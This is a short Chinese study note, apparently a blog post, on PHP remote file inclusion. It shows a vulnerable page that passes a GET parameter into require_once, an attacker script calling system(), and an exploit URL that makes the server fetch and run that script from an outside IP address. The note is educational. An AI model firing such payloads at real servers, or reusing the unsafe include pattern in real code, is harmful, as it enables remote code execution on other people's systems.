今天在学习《白帽子讲web安全》一书是,提到一个php远程文件包含漏洞

可以从攻击者服务器中的一个写好的攻击脚本中远程执行命令

服务器中有漏洞的页面代码为:

#test.php
#
error_reporting(0); $route="share"; $basePath=$_GET['param']; if ($route == "share") { require_once $basePath.'/action/mshare.php'; } elseif ($route == "sharelink") { require_once $basePath.'/action/m_shareliink.php'; }

攻击者服务器中的攻击脚本为:

#test1.txt
<?php system("ver;"); #此处可以自己定义要执行的命令 ?>

攻击者可以构造如下url远程调用攻击者服务器上的攻击脚本:

/test.php/?param=http://23.105.202.153/test.txt?

最后的问号会截断require_once在$basePath参数后的字符串

 

这里有一个问题,就是攻击者的攻击脚本只能保存为txt格式,而不能保存为php格式,否则会导致攻击脚本无法在受害者机器上运行。

还有一个问题需要解决,就是无法向攻击者编写的脚本传递参数,如果攻击者脚本加入了参数,则会导致无法截断,这一问题需要解决。

相关文章:

  • 2021-12-17
  • 2021-11-24
  • 2022-12-23
  • 2022-01-03
  • 2021-09-24
  • 2022-12-23
猜你喜欢
  • 2021-10-12
  • 2022-12-23
  • 2022-12-23
  • 2022-01-13
  • 2021-11-13
  • 2021-05-07
  • 2022-12-23
相关资源
相似解决方案